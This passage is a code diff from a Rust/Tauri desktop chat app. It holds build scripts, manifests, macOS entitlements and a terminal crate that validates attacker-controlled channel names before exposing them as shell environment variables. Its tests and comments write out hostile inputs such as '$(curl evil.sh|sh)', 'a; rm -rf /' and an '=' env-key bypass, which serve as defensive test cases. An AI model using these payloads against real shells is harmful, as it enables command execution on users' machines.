[[ -d "$APP_PATH" ]] || { echo "Missing app bundle: $APP_PATH" >&2; exit 1; }
[[ -f "$INFO_PLIST" ]] || { echo "Missing app Info.plist: $INFO_PLIST" >&2; exit 1; }
EXECUTABLE_NAME="$(/usr/libexec/PlistBuddy -c 'Print :CFBundleExecutable' "$INFO_PLIST")"
EXECUTABLE_PATH="$APP_PATH/Contents/MacOS/$EXECUTABLE_NAME"
[[ -f "$EXECUTABLE_PATH" ]] || { echo "Missing app executable: $EXECUTABLE_PATH" >&2; exit 1; }
ENTITLEMENTS="$(mktemp -t buzz-entitlements)"
trap 'rm -f "$ENTITLEMENTS"' EXIT
codesign --display --entitlements "$ENTITLEMENTS" --xml "$EXECUTABLE_PATH" 2>/dev/null
[[ -s "$ENTITLEMENTS" ]] || {
echo "Signed app has no embedded entitlements: $EXECUTABLE_PATH" >&2
exit 1
}
required_entitlements=(
com.apple.security.device.audio-input
com.apple.security.device.camera
com.apple.security.cs.disable-library-validation
)
for entitlement in "${required_entitlements[@]}"; do
value="$(/usr/libexec/PlistBuddy -c "Print :$entitlement" "$ENTITLEMENTS" 2>/dev/null || true)"
if [[ "$value" != "true" ]]; then
echo "Signed app is missing required entitlement: $entitlement" >&2
exit 1
fi
done
echo "Verified required macOS entitlements on $EXECUTABLE_PATH"
+10
View File
@@ -0,0 +1,10 @@
# Generated by Cargo
# will have compiled files and executables
/target/
# Generated by Tauri
# will have schema files for capabilities auto-completion
/gen/schemas
# Sidecar binaries (built by scripts/bundle-sidecars.sh)
/binaries
+13774
View File
File diff suppressed because it is too large Load Diff
+156
View File
@@ -0,0 +1,156 @@
[workspace]
# Explicit: membership must NOT be inferred from the path-dependency edge below.
# With a bare `[workspace]` and no `members`, `cargo test/check --workspace`
# expands to a set that excludes this crate, and its gates pass green-and-empty
# over a real defect. Verified: Sami Arm A/D, Dawn `.scratch/armA`.
members = ["crates/buzz-terminal"]
[package]
name = "buzz-desktop"
version = "0.5.8"
description = "Buzz desktop app"
authors = ["you"]
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[lib]
# The `_lib` suffix may seem redundant but it is necessary
# to make the lib name unique and wouldn't conflict with the bin name.
# This seems to be only an issue on Windows, see https://github.com/rust-lang/cargo/issues/8519
name = "buzz_lib"
crate-type = ["staticlib", "cdylib", "rlib"]
[features]
default = ["system-keyring"]
mesh-llm = ["dep:iroh", "dep:mesh-llm-sdk", "dep:mesh-llm-host-runtime", "dep:mesh-llm-client", "dep:mesh-llm-node", "dep:mesh-llm-system", "dep:mesh-llm-events"]
# OS keyring backing for desktop secret storage (nsec private keys). When
# disabled, secrets fall back to 0o600 files. On by default for real builds.
system-keyring = ["dep:keyring"]
[build-dependencies]
base64 = "0.22"
serde = { version = "1", features = ["derive"] }
serde_json = "1"
tauri-build = { version = "2", features = [] }
[target.'cfg(unix)'.dependencies]
libc = "0.2"
ctrlc = { version = "3", features = ["termination"] }
[target.'cfg(target_os = "linux")'.dependencies]
keyring = { version = "3.6.3", default-features = false, features = ["sync-secret-service", "vendored"], optional = true }
# Used directly (alongside tauri-plugin-notification) so we can hold the posting
# D-Bus connection open. GNOME 46+ dismisses a notification the moment that
# connection is dropped, which the plugin does immediately. Default features
# keep the pure-Rust zbus backend, matching the plugin (no libdbus needed).
notify-rust = "4"
# Enable getUserMedia in the WebKitGTK webview (see src/linux_media.rs). Pinned
# to the exact version wry links so both resolve to one webkit2gtk-sys and we
# don't get duplicate symbols; bump in lockstep with wry.
webkit2gtk = { version = "=2.0.2", features = ["v2_22"] }
[target.'cfg(target_os = "macos")'.dependencies]
block2 = { version = "0.6", default-features = false, features = ["std"] }
objc2 = { version = "0.6.4", default-features = false }
objc2-app-kit = { version = "0.3.2", default-features = false, features = ["NSEvent", "NSHapticFeedback", "NSMenu", "NSMenuItem", "NSStatusItem", "block2"] }
objc2-foundation = { version = "0.3.2", default-features = false, features = ["NSDictionary", "NSError", "NSBundle", "NSObject", "NSProcessInfo", "NSString"] }
objc2-user-notifications = { version = "0.3.2", default-features = false, features = ["block2", "UNNotification", "UNNotificationContent", "UNNotificationRequest", "UNNotificationResponse", "UNNotificationSettings", "UNNotificationTrigger", "UNUserNotificationCenter"] }
keyring = { version = "3.6.3", default-features = false, features = ["apple-native", "vendored"], optional = true }
security-framework = { version = "3.7.0", features = ["OSX_10_15"] }
window-vibrancy = "0.6"
user-idle = { version = "0.6", default-features = false }
plist = "1"
[target.'cfg(windows)'.dependencies]
windows-sys = { version = "0.61", features = ["Win32_Security", "Win32_Storage_FileSystem", "Win32_System_JobObjects", "Win32_System_Registry", "Win32_System_Threading", "Win32_Foundation"] }
keyring = { version = "3.6.3", default-features = false, features = ["windows-native", "vendored"], optional = true }
user-idle = { version = "0.6", default-features = false }
[dependencies]
atomic-write-file = "0.3"
anyhow = "1"
dirs = "6"
tauri = { version = "2", features = ["macos-private-api", "tray-icon"] }
tauri-plugin-deep-link = "2"
tauri-plugin-opener = "2"
tauri-plugin-single-instance = { version = "2", features = ["deep-link"] }
tauri-plugin-window-state = "2"
tauri-plugin-dialog = "2"
tauri-plugin-updater = "2"
tauri-plugin-process = "2"
infer = "0.19"
hex = "0.4"
ed25519-dalek = "=3.0.0-rc.0"
tokio = { version = "1", features = ["fs", "sync", "rt", "macros", "time", "net", "io-util"] }
tokio-tungstenite = { version = "0.29", features = ["rustls-tls-webpki-roots"] }
tokio-util = { version = "0.7", features = ["rt"] }
bytes = "1"
futures-util = "0.3"
opus = "0.3"
neteq = { version = "0.8", default-features = false }
serde = { version = "1", features = ["derive"] }
serde_json = "1"
serde_yaml = "0.9"
toml = "0.8"
nostr = { version = "0.44", features = ["nip44", "nip49"] }
# OS-entropy source for backup passphrase generation (already in the tree as a
# transitive dependency; pinned here for direct use).
getrandom = "0.2"
zeroize = "1"
reqwest = { version = "0.13", features = ["json", "query", "stream", "blocking"] }
rustls = { version = "0.23", default-features = false, features = ["aws_lc_rs", "std"] }
url = "2"
buzz_core_pkg = { package = "buzz-core", path = "../../crates/buzz-core" }
buzz_persona_pkg = { package = "buzz-persona", path = "../../crates/buzz-persona" }
buzz_sdk_pkg = { package = "buzz-sdk", path = "../../crates/buzz-sdk" }
buzz_agent_pkg = { package = "buzz-agent", path = "../../crates/buzz-agent" }
buzz_voice_pkg = { package = "buzz-voice", path = "../../crates/buzz-voice" }
buzz_terminal = { package = "buzz-terminal", path = "crates/buzz-terminal" }
portable-pty = "0.9"
iroh = { version = "1.0.2", optional = true }
mesh-llm-sdk = { git = "https://github.com/Mesh-LLM/mesh-llm.git", tag = "v0.74.0", package = "mesh-llm-sdk", default-features = false, features = ["client", "serving"], optional = true }
mesh-llm-host-runtime = { git = "https://github.com/Mesh-LLM/mesh-llm.git", tag = "v0.74.0", package = "mesh-llm-host-runtime", default-features = false, features = ["dynamic-native-runtime"], optional = true }
# Model catalog + hardware survey for the Share-compute model picker (same
# diagnose pattern as mesh-console). Lib name of mesh-llm-client is mesh_client.
mesh-llm-client = { git = "https://github.com/Mesh-LLM/mesh-llm.git", tag = "v0.74.0", package = "mesh-llm-client", optional = true }
mesh-llm-node = { git = "https://github.com/Mesh-LLM/mesh-llm.git", tag = "v0.74.0", package = "mesh-llm-node", optional = true }
mesh-llm-system = { git = "https://github.com/Mesh-LLM/mesh-llm.git", tag = "v0.74.0", package = "mesh-llm-system", optional = true }
mesh-llm-events = { git = "https://github.com/Mesh-LLM/mesh-llm.git", tag = "v0.74.0", package = "mesh-llm-events", optional = true }
base64 = "0.22"
sha2 = "0.11"
tar = "0.4"
bzip2 = "0.6"
chrono = { version = "0.4", features = ["serde"] }
tauri-plugin-global-shortcut = "2"
tauri-plugin-notification = "2.3.3"
uuid = { version = "1", features = ["v4", "v5"] }
png = "0.18"
# wayland-data-control: without it arboard is X11-only on Linux, so copies made
# in a Wayland session land in XWayland's clipboard where Wayland-native apps
# never see them (set_text still returns Ok). The backing wl-clipboard-rs dep is
# target-gated inside arboard; at runtime X11 sessions still fall back to X11.
arboard = { version = "3", features = ["wayland-data-control"] }
image = { version = "0.25", default-features = false, features = ["jpeg", "png", "webp", "gif"] }
zip = "8"
flate2 = "1"
sherpa-onnx = "1.12"
regex = "1"
rusqlite = { version = "0.37", features = ["bundled"] }
axum = "0.8"
rodio = "0.22"
earshot = "1.0"
rubato = "3.0"
audioadapter-buffers = "3.0"
tempfile = "3"
strip-ansi-escapes = "0.2"
tracing = "0.1"
[dev-dependencies]
tauri-utils = "2"
# `test-util` enables tokio's paused-clock (`start_paused`) so the relay
# admission gate tests can assert exact wait durations without real sleeps.
tokio = { version = "1", features = ["test-util"] }
# The relay's media validation, so the snapshot-sharing tests can prove the
# full export → sanitize → relay-accept → import contract end to end.
buzz_media_pkg = { package = "buzz-media", path = "../../crates/buzz-media" }
+13
View File
@@ -0,0 +1,13 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.device.audio-input</key>
<true/>
<key>com.apple.security.device.camera</key>
<true/>
<!-- MeshLLM installs versioned native runtimes outside the app bundle. -->
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
</dict>
</plist>
+16
View File
@@ -0,0 +1,16 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleDisplayName</key>
<string>Buzz</string>
<key>CFBundleName</key>
<string>Buzz</string>
<key>NSMicrophoneUsageDescription</key>
<string>Buzz needs microphone access for voice huddles.</string>
<key>NSCameraUsageDescription</key>
<string>Buzz needs camera access to record animated avatars.</string>
<key>NSLocalNetworkUsageDescription</key>
<string>Buzz uses your local network for optional Share Compute and local relay connections. Remote messaging does not require this access.</string>
</dict>
</plist>
Binary file not shown.

After

Width:  |  Height:  |  Size: 788 KiB

+144
View File
@@ -0,0 +1,144 @@
// Shared schema, included from the same source the runtime command parses with,
// so the build-time validation below and the runtime parse cannot drift.
include!("src/commands/reconnect_hook_config.rs");
// Same source of truth the runtime filters with, so a baked build env cannot
// carry a reserved key the runtime believes it already rejected.
include!("src/managed_agents/reserved_env_keys.rs");
use base64::Engine as _;
fn main() {
println!("cargo:rerun-if-env-changed=BUZZ_RELAY_URL");
println!("cargo:rerun-if-env-changed=BUZZ_RELAY_HTTP");
println!("cargo:rerun-if-env-changed=BUZZ_UPDATER_PUBLIC_KEY");
println!("cargo:rerun-if-env-changed=BUZZ_UPDATER_ENDPOINT");
println!("cargo:rerun-if-env-changed=BUZZ_BUILD_BUZZ_AGENT_PROVIDER");
println!("cargo:rerun-if-env-changed=BUZZ_BUILD_BUZZ_AGENT_MODEL");
println!("cargo:rerun-if-env-changed=BUZZ_BUILD_AGENT_ENV");
println!("cargo:rerun-if-env-changed=BUZZ_BUILD_RELAY_RECONNECT_CMD");
println!("cargo:rerun-if-env-changed=BUZZ_BUILD_AGENT_ACCESS_OWNER_ONLY");
println!("cargo:rerun-if-env-changed=BUZZ_BUILD_AUTO_CONNECT_DEFAULT_RELAY");
println!("cargo:rustc-check-cfg=cfg(buzz_updater_enabled)");
// Explicit owner-only agent-access capability. Release packaging sets this
// presence-only marker; OSS/custom builds leave agent access configurable.
if std::env::var("BUZZ_BUILD_AGENT_ACCESS_OWNER_ONLY").is_ok() {
println!("cargo:rustc-env=BUZZ_DESKTOP_BUILD_AGENT_ACCESS_OWNER_ONLY=1");
}
if let Ok(relay_url) = std::env::var("BUZZ_RELAY_URL") {
println!("cargo:rustc-env=BUZZ_DESKTOP_BUILD_RELAY_URL={relay_url}");
}
if let Ok(relay_http) = std::env::var("BUZZ_RELAY_HTTP") {
println!("cargo:rustc-env=BUZZ_DESKTOP_BUILD_RELAY_HTTP={relay_http}");
}
if let Ok(provider) = std::env::var("BUZZ_BUILD_BUZZ_AGENT_PROVIDER") {
println!("cargo:rustc-env=BUZZ_DESKTOP_BUILD_BUZZ_AGENT_PROVIDER={provider}");
}
if let Ok(model) = std::env::var("BUZZ_BUILD_BUZZ_AGENT_MODEL") {
println!("cargo:rustc-env=BUZZ_DESKTOP_BUILD_BUZZ_AGENT_MODEL={model}");
}
// Generic KEY=VALUE pairs to inject into every spawned agent process.
// Newline-delimited; each line must be non-empty and contain exactly one
// `=` separator with a non-empty key. OSS builds leave this unset.
// The validated value is base64-encoded before emitting so the single-line
// Cargo build-script output carries all pairs (Cargo output is line-oriented;
// a raw multiline value would be silently truncated to the first line).
if let Ok(raw) = std::env::var("BUZZ_BUILD_AGENT_ENV") {
for (line_no, line) in raw.lines().enumerate() {
let line = line.trim();
if line.is_empty() {
continue;
}
let eq = line.find('=').unwrap_or_else(|| {
panic!(
"BUZZ_BUILD_AGENT_ENV line {}: missing '=' separator in {:?}",
line_no + 1,
line
)
});
let key = &line[..eq];
if key.is_empty() {
panic!(
"BUZZ_BUILD_AGENT_ENV line {}: key must not be empty in {:?}",
line_no + 1,
line
);
}
// The baked env is written into every spawned agent's environment
// LAST (see `managed_agents/runtime.rs`), after Buzz sets the
// access gates and identity vars. A baked reserved key would
// therefore silently override the gate the UI promises, so reject
// it at build time instead of shipping a binary that bypasses its
// own enforcement.
if is_reserved_env_key(key) {
panic!(
"BUZZ_BUILD_AGENT_ENV line {}: `{}` is reserved by Buzz and cannot be baked \
into a build (it would override Buzz's own identity/access env)",
line_no + 1,
key
);
}
}
let encoded = base64::engine::general_purpose::STANDARD.encode(raw.as_bytes());
println!("cargo:rustc-env=BUZZ_DESKTOP_BUILD_AGENT_ENV={encoded}");
}
if let Ok(val) = std::env::var("BUZZ_BUILD_RELAY_RECONNECT_CMD") {
let parsed: serde_json::Value = serde_json::from_str(&val)
.unwrap_or_else(|e| panic!("BUZZ_BUILD_RELAY_RECONNECT_CMD is not valid JSON: {e}"));
serde_json::from_value::<ReconnectHookConfig>(parsed).unwrap_or_else(|e| {
panic!("BUZZ_BUILD_RELAY_RECONNECT_CMD doesn't match ReconnectHookConfig: {e}")
});
println!("cargo:rustc-env=BUZZ_DESKTOP_BUILD_RELAY_RECONNECT_CMD={val}");
}
// Presence-only release capability: internal desktop builds opt into
// auto-connecting their configured default relay on first run. OSS builds
// leave this unset and retain explicit community selection.
if std::env::var("BUZZ_BUILD_AUTO_CONNECT_DEFAULT_RELAY").is_ok() {
println!("cargo:rustc-env=BUZZ_DESKTOP_BUILD_AUTO_CONNECT_DEFAULT_RELAY=1");
}
let updater_public_key = std::env::var("BUZZ_UPDATER_PUBLIC_KEY")
.ok()
.map(|value| value.trim().to_string())
.filter(|value| !value.is_empty());
let updater_endpoint = std::env::var("BUZZ_UPDATER_ENDPOINT")
.ok()
.map(|value| value.trim().to_string())
.filter(|value| !value.is_empty());
if updater_public_key.is_some() && updater_endpoint.is_some() {
println!("cargo:rustc-cfg=buzz_updater_enabled");
}
// Cargo test executables get no embedded Windows manifest (tauri_build
// attaches one to bin targets only), so the loader binds comctl32 v5, which
// lacks TaskDialogIndirect (statically imported via tauri-plugin-dialog/rfd)
// and debug test exes die at load with STATUS_ENTRYPOINT_NOT_FOUND. Declaring
// the Common Controls v6 dependency makes link.exe emit a side-by-side
// <exe>.manifest that the loader honors for manifest-less executables;
// binaries with an embedded manifest (the real app) ignore it.
if std::env::var("CARGO_CFG_TARGET_OS").as_deref() == Ok("windows")
&& std::env::var("CARGO_CFG_TARGET_ENV").as_deref() == Ok("msvc")
{
println!(
"cargo:rustc-link-arg=/MANIFESTDEPENDENCY:type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'"
);
}
tauri_build::try_build(
tauri_build::Attributes::new().plugin(
"websocket",
tauri_build::InlinedPlugin::new()
.commands(&["connect", "send", "disconnect", "disconnect_all"])
.default_permission(tauri_build::DefaultPermissionRule::AllowAllCommands),
),
)
.expect("failed to build Tauri application");
}
@@ -0,0 +1,31 @@
{
"$schema": "../gen/schemas/desktop-schema.json",
"identifier": "default",
"description": "Capability for the main window and trusted huddle companions",
"windows": ["main", "huddle-*"],
"permissions": [
"core:default",
"core:webview:allow-set-webview-zoom",
"core:window:allow-set-badge-count",
"core:window:allow-set-badge-label",
"core:window:allow-request-user-attention",
"core:window:allow-set-focus",
"core:window:allow-start-dragging",
"core:window:allow-toggle-maximize",
"core:window:allow-unminimize",
"core:window:allow-show",
"core:window:allow-close",
"notification:default",
"opener:default",
"websocket:default",
"window-state:default",
"dialog:default",
"updater:allow-check",
"updater:allow-download",
"updater:allow-install",
"process:allow-restart",
"global-shortcut:allow-register",
"global-shortcut:allow-unregister",
"global-shortcut:allow-is-registered"
]
}
@@ -0,0 +1,18 @@
[package]
name = "buzz-terminal"
version = "0.1.0"
edition = "2021"
license = "Apache-2.0"
[dependencies]
alacritty_terminal = { version = "0.26.0", default-features = false }
parking_lot = "0.12"
portable-pty = "0.9"
[target.'cfg(unix)'.dependencies]
libc = "0.2"
[dev-dependencies]
# Tests reach into the grid to prove content survived a frame.
alacritty_terminal = { version = "0.26.0", default-features = false }
parking_lot = "0.12"
@@ -0,0 +1,103 @@
//! GUI context injected into the child shell.
//!
//! The terminal knows which channel and thread the user is looking at, so a
//! script in the substrate can act on it. That context crosses a trust
//! boundary: a channel *name* is attacker-controlled — anyone who can create
//! a channel picks the string — and it lands in an environment variable that
//! shells interpolate into prompts. A `PS1` containing `$BUZZ_CHANNEL` turns a
//! channel named `$(curl evil.sh|sh)` into command execution the moment the
//! user opens a terminal.
//!
//! Two rules follow, and the second one is the load-bearing one:
//!
//! 1. **Validate, don't sanitize.** Stripping dangerous characters is an
//! endless negotiation with an attacker who chooses the input. We accept a
//! conservative character class and reject everything else.
//! 2. **On rejection, substitute — never strip.** A stripped name is still a
//! name, and it is *wrong* in a way the user cannot see: `$(evil)` becomes
//! `evil`, which looks like a real channel. We substitute the channel UUID,
//! which is unambiguous, always safe, and visibly not a name — the user can
//! tell something was replaced.
/// Maximum accepted channel-name length, in characters.
const MAX_CHANNEL_NAME_CHARS: usize = 64;
/// The GUI state a spawned terminal is told about.
#[derive(Debug, Clone)]
pub struct GuiContext {
pub channel_id: String,
pub channel_name: String,
pub thread_id: Option<String>,
pub npub: String,
pub relay_url: String,
pub session_id: String,
}
/// Returns true if `name` is safe to expose as `BUZZ_CHANNEL`.
///
/// Unicode letters, digits and marks are accepted so non-Latin channel names
/// survive, plus space and `-`/`_`/`.`. Everything a shell gives meaning to —
/// `$`, backtick, `;`, `|`, `&`, quotes, newline, NUL, `=` — is outside the
/// class and therefore rejected rather than removed.
fn is_safe_channel_name(name: &str) -> bool {
!name.is_empty()
&& name.chars().count() <= MAX_CHANNEL_NAME_CHARS
&& name
.chars()
.all(|c| c.is_alphanumeric() || matches!(c, ' ' | '-' | '_' | '.'))
}
/// The value to expose as `BUZZ_CHANNEL`: the name when it is safe, otherwise
/// the channel UUID.
pub fn channel_display(context: &GuiContext) -> &str {
if is_safe_channel_name(&context.channel_name) {
&context.channel_name
} else {
&context.channel_id
}
}
/// Returns true if `key` is a well-formed POSIX env var name:
/// `[A-Za-z_][A-Za-z0-9_]*`.
///
/// Mirrors `is_well_formed_env_key` in the desktop crate
/// (`src/managed_agents/env_vars.rs`), whose rationale applies verbatim here:
/// `CommandBuilder::env` will pass a key containing `=` straight into the
/// child's environ block, where `getenv("FOO")` matches whatever follows the
/// first `=`. A key `BUZZ_CHANNEL=x` with value `y` lands as
/// `BUZZ_CHANNEL=x=y`, so `getenv("BUZZ_CHANNEL")` returns `"x=y"` — a way to
/// forge a variable the fence otherwise controls.
///
/// Every key we inject is a compile-time literal today, so this cannot fire
/// yet. It is here because the *next* injected key may not be: the check
/// belongs at the boundary, not in the reviewer's memory.
pub fn is_well_formed_env_key(key: &str) -> bool {
let mut chars = key.chars();
match chars.next() {
Some(c) if c == '_' || c.is_ascii_alphabetic() => {}
_ => return false,
}
chars.all(|c| c == '_' || c.is_ascii_alphanumeric())
}
/// The context variables to inject, in order.
///
/// `BUZZ_CHANNEL` carries the validated display value; `BUZZ_CHANNEL_ID` is
/// always the UUID, so a script that needs an unambiguous identifier has one
/// that no channel name can spoof.
pub fn context_vars(context: &GuiContext) -> Vec<(&'static str, String)> {
let mut vars = vec![
("BUZZ_CHANNEL_ID", context.channel_id.clone()),
("BUZZ_CHANNEL", channel_display(context).to_owned()),
("BUZZ_NPUB", context.npub.clone()),
("BUZZ_RELAY_URL", context.relay_url.clone()),
("BUZZ_TERM_SESSION", context.session_id.clone()),
("BUZZ_TERM_VERSION", env!("CARGO_PKG_VERSION").to_owned()),
];
// Absent rather than empty when the user is not in a thread: `-n
// "$BUZZ_THREAD_ID"` and `${BUZZ_THREAD_ID+set}` should agree.
if let Some(thread_id) = &context.thread_id {
vars.push(("BUZZ_THREAD_ID", thread_id.clone()));
}
vars
}
@@ -0,0 +1,139 @@
//! T-1: the channel name is attacker-controlled and reaches a shell.
use crate::context::{channel_display, context_vars, is_well_formed_env_key, GuiContext};
const UUID: &str = "dbb5c335-bbce-4969-8635-7dae8338ea5b";
fn context_named(channel_name: &str) -> GuiContext {
GuiContext {
channel_id: UUID.to_owned(),
channel_name: channel_name.to_owned(),
thread_id: None,
npub: "npub1example".to_owned(),
relay_url: "wss://relay.example".to_owned(),
session_id: "session-1".to_owned(),
}
}
/// Ordinary names survive intact, including non-Latin scripts. A validator
/// that rejected these would be "safe" and useless.
#[test]
fn benign_channel_names_pass_through_unchanged() {
for name in [
"buzz-tui",
"General Chat",
"release_2.0",
"日本語チャンネル",
"Ünicode Ñames",
] {
let context = context_named(name);
assert_eq!(channel_display(&context), name, "rejected a benign name");
}
}
/// Shell metacharacters are rejected — and the substitute is the UUID, not a
/// stripped name. Stripping would turn `$(evil)` into `evil`, which is
/// indistinguishable from a real channel called `evil`.
#[test]
fn hostile_channel_names_are_replaced_by_the_uuid() {
for name in [
"$(curl evil.sh|sh)",
"`id`",
"a; rm -rf /",
"a\nPS1=pwned",
"a$IFS$9",
"x=y",
"'; echo pwned; '",
"a\0b",
] {
let context = context_named(name);
let shown = channel_display(&context);
assert_eq!(
shown, UUID,
"hostile name was not replaced by the UUID: {name:?} -> {shown:?}"
);
}
}
/// The substitution must be *whole*, not a filtered version of the input. A
/// strip-sanitizer passes the "no metacharacters" check while still echoing
/// attacker-chosen text.
#[test]
fn rejection_substitutes_rather_than_strips() {
let context = context_named("$(curl evil.sh|sh)");
let shown = channel_display(&context);
assert!(
!shown.contains("curl") && !shown.contains("evil"),
"attacker-chosen text survived rejection: {shown:?}"
);
}
/// Over-long names are rejected: an env var is not a place for unbounded
/// attacker input, and a 10 KB prompt is its own denial of service.
#[test]
fn over_long_channel_names_are_replaced() {
let context = context_named(&"a".repeat(65));
assert_eq!(channel_display(&context), UUID);
let ok = context_named(&"a".repeat(64));
assert_eq!(channel_display(&ok), "a".repeat(64));
}
/// `BUZZ_CHANNEL_ID` is always the UUID, so a script has an identifier that no
/// channel name can spoof — including a channel *named* like a UUID.
#[test]
fn channel_id_is_never_the_name() {
let context = context_named("11111111-2222-3333-4444-555555555555");
let vars = context_vars(&context);
let id = vars.iter().find(|(k, _)| *k == "BUZZ_CHANNEL_ID").unwrap();
assert_eq!(
id.1, UUID,
"a UUID-shaped channel name displaced the real id"
);
}
/// Absent rather than empty: `${BUZZ_THREAD_ID+set}` and `-n` must agree.
#[test]
fn thread_id_is_absent_when_there_is_no_thread() {
let vars = context_vars(&context_named("buzz-tui"));
assert!(!vars.iter().any(|(k, _)| *k == "BUZZ_THREAD_ID"));
let mut context = context_named("buzz-tui");
context.thread_id = Some("thread-1".to_owned());
let vars = context_vars(&context);
assert_eq!(
vars.iter()
.find(|(k, _)| *k == "BUZZ_THREAD_ID")
.map(|(_, v)| v.as_str()),
Some("thread-1")
);
}
/// Every injected key must be POSIX-shaped. A key containing `=` would let
/// the value forge a second variable in the child's environ block.
#[test]
fn every_injected_key_is_well_formed() {
for (key, _) in context_vars(&context_named("buzz-tui")) {
assert!(
is_well_formed_env_key(key),
"malformed injected key: {key:?}"
);
}
}
/// The guard itself, including the bypass shape it exists for.
#[test]
fn well_formed_key_rejects_the_equals_bypass() {
for good in ["BUZZ_CHANNEL", "_UNDERSCORE", "A1"] {
assert!(is_well_formed_env_key(good), "rejected {good:?}");
}
for bad in [
"BUZZ_CHANNEL=x",
"",
"1LEADING_DIGIT",
"HAS SPACE",
"HAS\0NUL",
"kebab-case",
] {
assert!(!is_well_formed_env_key(bad), "accepted {bad:?}");
}
}
@@ -0,0 +1,490 @@
//! Turning grid changes into frames for the renderer.
//!
//! Two rules shape this module, both measured:
//!
//! 1. **Nothing but reading and copying happens under the `Term` lock.** The
//! caller copies rows out; encoding, hashing and serializing run after the
//! lock is released. Encoding inline costs ~75x in lock hold.
//! 2. **Damage over-reports.** `Term::damage()` marks the cursor line every
//! call, so an idle terminal reports damage nearly every frame. Per-line
//! content hashing suppresses those, so the transport never sees a no-op.
//!
//! # Why a frame is the whole viewport
//!
//! Nearly every frame is a full repaint: `Term::scroll_up_relative` calls
//! `mark_fully_damaged()` unconditionally, so any output reaching the bottom
//! row damages the whole grid. Partial damage is effectively the idle cursor.
//!
//! That is fine, and the reason is worth having here rather than in a review
//! thread. A full frame is O(viewport) *by construction* -- the grid is itself
//! the coalescing buffer -- so its cost does not depend on how fast the child
//! writes. Measured on a 200x50 grid, bytes per frame across four orders of
//! magnitude of output rate: 11,390 at an unthrottled flood (45,759 lines
//! scrolled per frame), 11,390 at ~1 MB/s, 11,390 at ~100 KB/s, 11,305 on a
//! slow build log. Constant to three digits.
//!
//! A scroll-aware diff inverts that: its cost is O(lines scrolled), unbounded,
//! and at 45,759 lines/frame it would ship ~915x more data than the full grid
//! it was optimising. It wins where nobody is watching and loses under `cat`.
//!
//! **Revisit if the viewport grows.** 80x24 costs 2.6 KB/frame (0.2 MB/s at
//! 60 Hz), 200x50 costs 11.4 KB (0.7 MB/s), 400x100 costs 42.8 KB (2.6 MB/s).
//! 400x100 is roughly 4x a typical maximised window and is where this decision
//! should be re-measured -- as a serialization/IPC question, not a damage one.
//!
//! Dedup earns its place in the interactive case rather than the streaming one:
//! typing is ~0.9 rows per keystroke, and an idle terminal ships 0 rows across
//! 60 frames instead of a cursor-line frame 60x/second. Idle is the load-bearing
//! one -- it is what the substrate does while sitting behind the GUI untouched.
use std::collections::hash_map::DefaultHasher;
use std::hash::{Hash, Hasher};
use alacritty_terminal::grid::Dimensions;
use alacritty_terminal::index::{Column, Line};
use alacritty_terminal::term::cell::{Cell, Flags};
use alacritty_terminal::term::TermDamage;
/// A run of cells sharing one visual style **and one cell width**.
///
/// # Why the consumer can position every cluster without Unicode tables
///
/// The renderer must place each display cluster at its true column, and it
/// cannot derive that from the text: no single split rule over a concatenated
/// string is correct. A regional-indicator flag (`U+1F1FA U+1F1F8`) is two
/// ordinary one-column cells, so it must split *per codepoint*; a keycap
/// (`1 U+FE0F U+20E3`) is one cell holding three codepoints, so it must split
/// *per grapheme*. Those rules disagree, and the distinction lives in the grid,
/// not in the string.
///
/// So the run carries it instead. Within a span every cluster advances the same
/// [`width`](Self::width) columns, and [`cluster_count`](Self::cluster_count)
/// says how many clusters the text holds. The consumer's rule is arithmetic on
/// those two numbers, with no Unicode table anywhere:
///
/// ```text
/// cluster_count == 1 -> the whole text is one cluster, at `column`
/// otherwise -> cluster i is the i-th char, at `column + i * width`
/// ```
///
/// The second case is exact because a cell carrying zerowidth marks is always
/// emitted alone, so every cell in a multi-cluster span contributes exactly one
/// `char`.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Span {
/// First column of the run.
pub column: usize,
/// The run's text. Grapheme clusters are kept whole: a cell's zerowidth
/// combining marks follow its base character, so the renderer never sees
/// a base and its accent as separate glyphs.
pub text: String,
/// Columns each cluster in this run occupies: 1, or 2 for wide glyphs.
///
/// Uniform across the run by construction -- a width change ends the span.
/// This is what lets the consumer position clusters by computed origin
/// rather than by accumulated text advance.
pub width: u8,
/// How many display clusters [`text`](Self::text) holds.
///
/// Without this the consumer cannot distinguish a one-cluster span carrying
/// combining marks from an ordinary multi-character run, and would need a
/// Unicode zerowidth table to guess. The grid already knows, so it says.
pub cluster_count: u16,
/// Packed style: fg, bg, and attribute flags.
pub style: Style,
}
impl Span {
/// The decoding invariant, stated once: a span is either a single cluster
/// (which may hold several `char`s, as a keycap or an accented letter
/// does) or one cluster per `char`.
///
/// Exposed so consumers can assert it at a trust boundary rather than
/// restate it. The encoder checks it in debug builds on every frame.
pub fn counts_are_consistent(&self) -> bool {
self.cluster_count == 1 || usize::from(self.cluster_count) == self.text.chars().count()
}
}
/// Visual style of a span, as the renderer needs it.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
pub struct Style {
pub fg: u32,
pub bg: u32,
pub flags: u16,
}
/// One changed row.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct RowFrame {
pub line: usize,
/// Whether this row continues onto the next screen row without a hard
/// line break. Retained separately from visual style so copy serialization
/// can reconstruct logical lines without exposing geometry flags to spans.
pub wrapped: bool,
pub spans: Vec<Span>,
}
/// The cursor, carried separately from row content.
///
/// Upstream damages the cursor's line on every `damage()` call. If the cursor
/// travelled inside the row payload, every frame would carry a row rewrite for
/// a caret that moved one column. As its own plane it costs a few bytes and
/// leaves row dedup free to suppress the row.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub struct CursorFrame {
pub line: usize,
pub column: usize,
pub visible: bool,
}
/// One update for the renderer.
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Frame {
